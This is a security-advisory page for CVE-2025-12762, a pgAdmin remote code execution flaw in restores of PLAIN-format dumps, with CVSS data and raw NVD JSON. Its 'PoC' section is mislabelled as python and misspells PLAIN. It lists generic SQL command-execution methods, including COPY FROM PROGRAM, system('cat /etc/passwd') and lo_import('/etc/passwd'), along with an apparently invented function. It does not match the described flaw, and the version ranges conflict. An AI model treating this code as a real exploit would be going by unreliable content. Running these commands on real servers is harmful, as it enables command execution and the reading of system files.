Security Vulnerability Report
中文
CVE-2025-12762 CVSS 9.1 CRITICAL

CVE-2025-12762

Published: 2025-11-13 13:15:45
Last Modified: 2025-12-01 20:15:49
Source: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Description

pgAdmin versions up to 9.9 are affected by a Remote Code Execution (RCE) vulnerability that occurs when running in server mode and performing restores from PLAIN-format dump files. This issue allows attackers to inject and execute arbitrary commands on the server hosting pgAdmin, posing a critical risk to the integrity and security of the database management system and underlying data.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:pgadmin:pgadmin_4:*:*:*:*:*:postgresql:*:* - VULNERABLE
pgAdmin < 9.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-12762 PoC - pgAdmin PLIAN Format Restore RCE */ /* This PoC demonstrates command injection via PLIAN format dump restore */ -- Malicious PLIAN format dump file content -- The attacker creates a dump file with embedded commands -- Method 1: Using COPY FROM PROGRAM (PostgreSQL 9.3+) -- This command executes OS command during restore CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id > /tmp/pwned.txt && cat /tmp/pwned.txt'; -- Method 2: Using system() function if available SELECT system('whoami'); SELECT system('cat /etc/passwd'); -- Method 3: Using pg_execute_server_program extension SELECT pg_execute_server_program('id', NULL); -- Method 4: Abusing PostgreSQL extensions CREATE EXTENSION IF NOT EXISTS pg_execute_server_program; SELECT * FROM pg_execute_server_program('id', ARRAY['arg1', 'arg2']); -- Method 5: Using lo_import with shell commands SELECT lo_import('/etc/passwd'); -- Cleanup DROP TABLE IF EXISTS cmd_exec;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12762", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2025-11-13T13:15:44.620", "lastModified": "2025-12-01T20:15:49.347", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "pgAdmin versions up to 9.9 are affected by a Remote Code Execution (RCE) vulnerability that occurs when running in server mode and performing restores from PLAIN-format dump files. This issue allows attackers to inject and execute arbitrary commands on the server hosting pgAdmin, posing a critical risk to the integrity and security of the database management system and underlying data."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 5.3}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pgadmin:pgadmin_4:*:*:*:*:*:postgresql:*:*", "versionEndExcluding": "9.10", "matchCriteriaId": "869DC8C4-E456-4D31-964B-96D4B9B8F4A2"}]}]}], "references": [{"url": "https://github.com/pgadmin-org/pgadmin4/issues/9320", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}